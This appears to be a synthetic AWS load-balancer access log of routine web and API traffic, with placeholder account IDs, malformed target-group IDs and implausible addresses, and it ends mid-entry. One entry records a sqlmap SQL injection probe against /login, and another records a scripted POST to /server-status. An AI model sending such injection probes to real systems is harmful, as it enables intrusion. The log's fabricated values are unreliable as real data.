arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd87-56f2c09e6b3e41e286ebd046" "-" "-" 0 2024-11-01T02:41:59.852715Z "forward" "-" "-" "10.0.151.149:443" "301" "-" "-" -https 2024-11-01T02:42:00.057340Z prod-api-alb 232.164.242.253:18688 10.0.226.6:443 0.095440 0.062137 0.005105 302 302 91 14014 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd88-34a4466a70024ddb81219ecf" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:00.057340Z "forward" "-" "-" "10.0.226.6:443" "302" "-" "-" -http 2024-11-01T02:42:02.045162Z staging-alb 82.118.78.107:12603 72.65.242.86:80 0.015225 0.264224 0.036938 200 200 422 8861 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd8a-8c1b1c6ccb0e43248a2dccfb" "staging-alb.example.com" "-" 2 2024-11-01T02:42:02.045162Z "forward" "-" "-" "72.65.242.86:80" "200" "-" "-" -https 2024-11-01T02:42:02.183444Z prod-web-alb 97.224.155.195:60819 10.0.78.239:443 0.087990 0.433914 0.009178 404 404 293 11053 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd8a-84dec3b8bc0148dba20502c2" "prod-web-alb.example.com" "-" 7 2024-11-01T02:42:02.183444Z "forward" "-" "-" "10.0.78.239:443" "404" "-" "-" -https 2024-11-01T02:42:02.377657Z staging-alb 210.221.133.107:40802 219.47.140.119:443 0.132278 0.657188 0.021065 404 404 369 12674 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd8a-d8fc2a0fc33b4f4a8b183498" "staging-alb.example.com" "-" 2 2024-11-01T02:42:02.377657Z "forward" "-" "-" "219.47.140.119:443" "404" "-" "-" -https 2024-11-01T02:42:04.132301Z prod-api-alb 123.102.72.112:24884 10.0.175.137:443 0.066454 0.282442 0.060561 301 301 367 12875 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8c-fbda6be7c04c45bea4aafdfe" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:04.132301Z "forward" "-" "-" "10.0.175.137:443" "301" "-" "-" -https 2024-11-01T02:42:05.852632Z prod-api-alb 87.235.182.239:21471 10.0.174.159:443 0.007753 0.033343 0.089530 302 302 110 5016 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8d-2124e4264b9d419295492d4d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:05.852632Z "forward" "-" "-" "10.0.174.159:443" "302" "-" "-" -https 2024-11-01T02:42:06.647226Z prod-api-alb 9.195.40.110:19871 10.0.22.11:443 0.053951 0.482737 0.071210 200 200 640 11137 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd8e-ebdcceb538214b31b66fa0de" "prod-api-alb.example.com" "-" 10 2024-11-01T02:42:06.647226Z "forward" "-" "-" "10.0.22.11:443" "200" "-" "-" -https 2024-11-01T02:42:07.459267Z prod-api-alb 152.73.175.169:60473 10.0.156.163:443 0.055259 0.397589 0.076558 200 200 932 13999 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8f-036f3995bda1460f871d2b44" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:07.459267Z "forward" "-" "-" "10.0.156.163:443" "200" "-" "-" -https 2024-11-01T02:42:09.213272Z staging-alb 246.244.96.108:43465 199.46.196.91:80 0.104530 0.383815 0.075155 200 200 868 5637 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd91-566bdf2469b145e2ad7de254" "staging-alb.example.com" "-" 2 2024-11-01T02:42:09.213272Z "forward" "-" "-" "199.46.196.91:80" "200" "-" "-" -http 2024-11-01T02:42:11.029469Z staging-alb 104.126.68.125:24811 242.96.70.0:80 0.097305 0.545524 0.018753 200 200 863 9826 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd93-0c157bf63c52463795acc899" "staging-alb.example.com" "-" 1 2024-11-01T02:42:11.029469Z "forward" "-" "-" "242.96.70.0:80" "200" "-" "-" -https 2024-11-01T02:42:12.428529Z prod-web-alb 137.41.210.137:28438 10.0.49.54:443 0.087949 0.108180 0.071374 404 404 921 12135 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd94-c53c28bd2e624c338bcfeebf" "prod-web-alb.example.com" "-" 6 2024-11-01T02:42:12.428529Z "forward" "-" "-" "10.0.49.54:443" "404" "-" "-" -https 2024-11-01T02:42:13.711241Z staging-alb 113.216.160.242:29647 245.138.41.46:443 0.121429 0.722307 0.073859 200 200 432 3273 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd95-9fc465982c3045f1b62441a3" "staging-alb.example.com" "-" 3 2024-11-01T02:42:13.711241Z "forward" "-" "-" "245.138.41.46:443" "200" "-" "-" -https 2024-11-01T02:42:15.164762Z prod-web-alb 80.92.237.39:31767 10.0.246.185:443 0.059896 0.098843 0.065724 200 200 171 11699 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd97-290cf379a42240eeaacb7561" "prod-web-alb.example.com" "-" 9 2024-11-01T02:42:15.164762Z "forward" "-" "-" "10.0.246.185:443" "200" "-" "-" -https 2024-11-01T02:42:15.307958Z prod-api-alb 2.21.112.145:18147 10.0.145.179:443 0.058272 0.403987 0.097247 200 200 382 4626 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd97-0b606e9e13224e92a9df0461" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:15.307958Z "forward" "-" "-" "10.0.145.179:443" "200" "-" "-" -http 2024-11-01T02:42:15.536326Z staging-alb 11.155.96.59:49885 66.243.173.167:8080 0.019904 0.702205 0.001772 301 301 972 8749 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd97-d323b6d655634968afc3f24d" "staging-alb.example.com" "-" 8 2024-11-01T02:42:15.536326Z "forward" "-" "-" "66.243.173.167:8080" "301" "-" "-" -https 2024-11-01T02:42:15.637867Z prod-api-alb 212.48.190.152:52043 10.0.97.23:443 0.049083 0.104674 0.005943 404 404 676 14902 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd97-f0f9f60353104bd08d86c7f9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:42:15.637867Z "forward" "-" "-" "10.0.97.23:443" "404" "-" "-" -https 2024-11-01T02:42:17.009932Z staging-alb 157.210.247.94:54646 219.135.182.247:8080 0.016721 0.604534 0.010123 200 200 452 11575 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd99-01dd4987be3e41e680a4d87a" "staging-alb.example.com" "-" 4 2024-11-01T02:42:17.009932Z "forward" "-" "-" "219.135.182.247:8080" "200" "-" "-" -https 2024-11-01T02:42:18.255378Z prod-web-alb 0.151.48.8:64122 10.0.253.230:443 0.073079 0.091772 0.033523 200 200 926 13175 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd9a-349716fb38f74880b9c869aa" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:18.255378Z "forward" "-" "-" "10.0.253.230:443" "200" "-" "-" -https 2024-11-01T02:42:18.733122Z prod-web-alb 33.66.6.145:11682 10.0.187.81:443 0.018403 0.200949 0.036782 404 404 804 10985 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd9a-8afca99b1c4b4b2f9102b6d3" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:18.733122Z "forward" "-" "-" "10.0.187.81:443" "404" "-" "-" -https 2024-11-01T02:42:20.149942Z prod-api-alb 107.193.186.48:50977 10.0.184.226:443 0.068283 0.477918 0.095968 404 404 550 13916 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd9c-84d9677a707b4761bf30b071" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:20.149942Z "forward" "-" "-" "10.0.184.226:443" "404" "-" "-" -https 2024-11-01T02:42:21.979684Z prod-web-alb 105.99.245.124:44751 10.0.152.225:443 0.000285 0.427260 0.024506 302 302 81 206 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd9d-4ce226ca3ba54a6bae3f4279" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:21.979684Z "forward" "-" "-" "10.0.152.225:443" "302" "-" "-" -https 2024-11-01T02:42:23.763690Z staging-alb 217.141.67.11:42441 40.117.139.77:80 0.079862 0.078715 0.038599 200 200 750 10986 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd9f-993a12d8f8e4425b8b2dd1d0" "staging-alb.example.com" "-" 8 2024-11-01T02:42:23.763690Z "forward" "-" "-" "40.117.139.77:80" "200" "-" "-" -http 2024-11-01T02:42:25.381119Z staging-alb 94.20.92.213:56510 223.213.47.35:8080 0.108565 0.715223 0.051484 302 302 916 6135 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dda1-6a6a475d029c40ea8e16c285" "staging-alb.example.com" "-" 4 2024-11-01T02:42:25.381119Z "forward" "-" "-" "223.213.47.35:8080" "302" "-" "-" -https 2024-11-01T02:42:26.079657Z prod-api-alb 50.7.11.34:60011 10.0.34.230:443 0.009657 0.368191 0.040041 200 200 114 3146 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda2-e67d979dfa394dbe9367666c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:42:26.079657Z "forward" "-" "-" "10.0.34.230:443" "200" "-" "-" -https 2024-11-01T02:42:26.581659Z prod-api-alb 23.164.117.114:59466 10.0.188.172:443 0.083035 0.298014 0.091981 200 200 301 2298 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dda2-92dc0d2c57a440f4a1666b0d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:26.581659Z "forward" "-" "-" "10.0.188.172:443" "200" "-" "-" -https 2024-11-01T02:42:26.892916Z prod-api-alb 193.27.228.139:31667 10.0.196.241:443 0.060638 0.003163 0.085951 500 500 154 11189 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda2-ee59ee676d0c42fcbe0a2dfb" "-" "-" 8 2024-11-01T02:42:26.892916Z "forward" "-" "-" "10.0.196.241:443" "500" "-" "-" -https 2024-11-01T02:42:28.632751Z prod-web-alb 21.116.116.150:40661 10.0.252.194:443 0.016714 0.286347 0.070779 404 404 440 13221 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dda4-552733d3851c42f1911727ea" "prod-web-alb.example.com" "-" 0 2024-11-01T02:42:28.632751Z "forward" "-" "-" "10.0.252.194:443" "404" "-" "-" -https 2024-11-01T02:42:29.213802Z prod-web-alb 181.156.94.128:45015 10.0.200.62:443 0.087569 0.327290 0.076786 200 200 731 8203 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dda5-e54649921424490fbb998aaf" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:29.213802Z "forward" "-" "-" "10.0.200.62:443" "200" "-" "-" -https 2024-11-01T02:42:30.318886Z prod-web-alb 6.70.82.234:30023 10.0.229.89:443 0.005516 0.307057 0.036881 404 404 778 12722 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dda6-5dbab4425e164f56959b1170" "prod-web-alb.example.com" "-" 8 2024-11-01T02:42:30.318886Z "forward" "-" "-" "10.0.229.89:443" "404" "-" "-" -https 2024-11-01T02:42:32.076174Z staging-alb 230.56.227.57:38302 133.171.30.50:80 0.064197 0.570652 0.109186 200 200 924 5220 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dda8-b8f113c12295432a9e0d3078" "staging-alb.example.com" "-" 4 2024-11-01T02:42:32.076174Z "forward" "-" "-" "133.171.30.50:80" "200" "-" "-" -https 2024-11-01T02:42:32.987645Z prod-web-alb 62.27.185.245:58850 10.0.254.126:443 0.085118 0.430406 0.088212 404 404 469 3504 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dda8-14d5a6f039ba4e9e817627aa" "prod-web-alb.example.com" "-" 1 2024-11-01T02:42:32.987645Z "forward" "-" "-" "10.0.254.126:443" "404" "-" "-" -https 2024-11-01T02:42:33.326926Z prod-api-alb 119.207.175.95:31273 10.0.140.132:443 0.097336 0.469863 0.059946 301 301 321 8049 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda9-3be5f9dfc7fb425bb4ad69f1" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:33.326926Z "forward" "-" "-" "10.0.140.132:443" "301" "-" "-" -https 2024-11-01T02:42:34.792509Z prod-web-alb 190.146.75.221:23800 10.0.124.221:443 0.052931 0.213489 0.027935 301 301 640 4519 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddaa-992fe646a0d04ab2a536d6a0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:42:34.792509Z "forward" "-" "-" "10.0.124.221:443" "301" "-" "-" -https 2024-11-01T02:42:36.648389Z staging-alb 151.67.74.125:54551 254.178.230.253:8080 0.056212 0.338000 0.031935 200 200 887 4026 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddac-c072a5d4d2154854ab3b0da8" "staging-alb.example.com" "-" 3 2024-11-01T02:42:36.648389Z "forward" "-" "-" "254.178.230.253:8080" "200" "-" "-" -https 2024-11-01T02:42:37.275728Z prod-api-alb 182.43.156.72:28807 10.0.133.185:443 0.020174 0.024980 0.080945 404 404 258 7863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddad-ebf738f4664d45998cb28ea9" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:37.275728Z "forward" "-" "-" "10.0.133.185:443" "404" "-" "-" -https 2024-11-01T02:42:38.624975Z prod-api-alb 150.171.53.47:33698 10.0.196.168:443 0.058351 0.217529 0.080474 200 200 389 7185 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddae-6c826508554146418a5e79d5" "prod-api-alb.example.com" "-" 4 2024-11-01T02:42:38.624975Z "forward" "-" "-" "10.0.196.168:443" "200" "-" "-" -https 2024-11-01T02:42:39.747659Z prod-api-alb 60.147.33.207:61900 10.0.195.103:443 0.071755 0.010432 0.055731 404 404 244 3563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddaf-6e66679a60244c9dbfeb1c9b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:39.747659Z "forward" "-" "-" "10.0.195.103:443" "404" "-" "-" -http 2024-11-01T02:42:40.722219Z staging-alb 193.27.228.38:45822 206.182.84.145:8080 0.031242 0.174163 0.043898 403 403 717 4731 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddb0-af416cc08d9f4d118ec64ffa" "-" "-" 9 2024-11-01T02:42:40.722219Z "forward" "-" "-" "206.182.84.145:8080" "403" "-" "-" -https 2024-11-01T02:42:40.917050Z prod-web-alb 218.228.27.152:39030 10.0.106.21:443 0.029269 0.241985 0.086109 200 200 290 2428 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb0-3c85ce9ff6064189ad70500f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:42:40.917050Z "forward" "-" "-" "10.0.106.21:443" "200" "-" "-" -https 2024-11-01T02:42:41.131031Z prod-web-alb 204.252.15.123:46578 10.0.206.108:443 0.048558 0.326775 0.083917 302 302 305 11136 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddb1-07a1bf8058bb403e940d7a6a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:41.131031Z "forward" "-" "-" "10.0.206.108:443" "302" "-" "-" -http 2024-11-01T02:42:42.597070Z staging-alb 161.84.26.101:54655 57.145.201.214:8080 0.143655 0.397781 0.045412 404 404 882 2061 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddb2-b417be2508c64f499b18f159" "staging-alb.example.com" "-" 6 2024-11-01T02:42:42.597070Z "forward" "-" "-" "57.145.201.214:8080" "404" "-" "-" -http 2024-11-01T02:42:43.100797Z staging-alb 102.200.206.216:62594 198.234.252.0:443 0.127835 0.252005 0.088508 200 200 469 8138 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddb3-8051cfbd03344897b866322f" "staging-alb.example.com" "-" 6 2024-11-01T02:42:43.100797Z "forward" "-" "-" "198.234.252.0:443" "200" "-" "-" -https 2024-11-01T02:42:43.646939Z prod-api-alb 15.38.188.14:29152 10.0.68.221:443 0.022254 0.170245 0.016590 301 301 327 7350 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddb3-1b2153c29e9d452abd553969" "prod-api-alb.example.com" "-" 9 2024-11-01T02:42:43.646939Z "forward" "-" "-" "10.0.68.221:443" "301" "-" "-" -https 2024-11-01T02:42:44.283046Z prod-api-alb 234.64.92.189:19963 10.0.112.18:443 0.092427 0.221967 0.053635 200 200 484 6966 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddb4-0df649756c9544aba41b24f8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:44.283046Z "forward" "-" "-" "10.0.112.18:443" "200" "-" "-" -https 2024-11-01T02:42:45.868428Z staging-alb 180.110.87.46:12337 160.4.136.26:8080 0.099261 0.276986 0.030428 200 200 384 7086 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddb5-bb5c775dc88643398125a067" "staging-alb.example.com" "-" 3 2024-11-01T02:42:45.868428Z "forward" "-" "-" "160.4.136.26:8080" "200" "-" "-" -https 2024-11-01T02:42:46.249330Z prod-web-alb 244.127.146.48:27890 10.0.10.40:443 0.001398 0.009096 0.089475 404 404 734 11515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb6-030997f68f944cb695347c71" "prod-web-alb.example.com" "-" 8 2024-11-01T02:42:46.249330Z "forward" "-" "-" "10.0.10.40:443" "404" "-" "-" -https 2024-11-01T02:42:46.719645Z prod-web-alb 226.130.122.56:30104 10.0.239.52:443 0.005364 0.485738 0.015234 302 302 922 770 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb6-03997c79dd3e409db2df781a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:46.719645Z "forward" "-" "-" "10.0.239.52:443" "302" "-" "-" -https 2024-11-01T02:42:48.383438Z 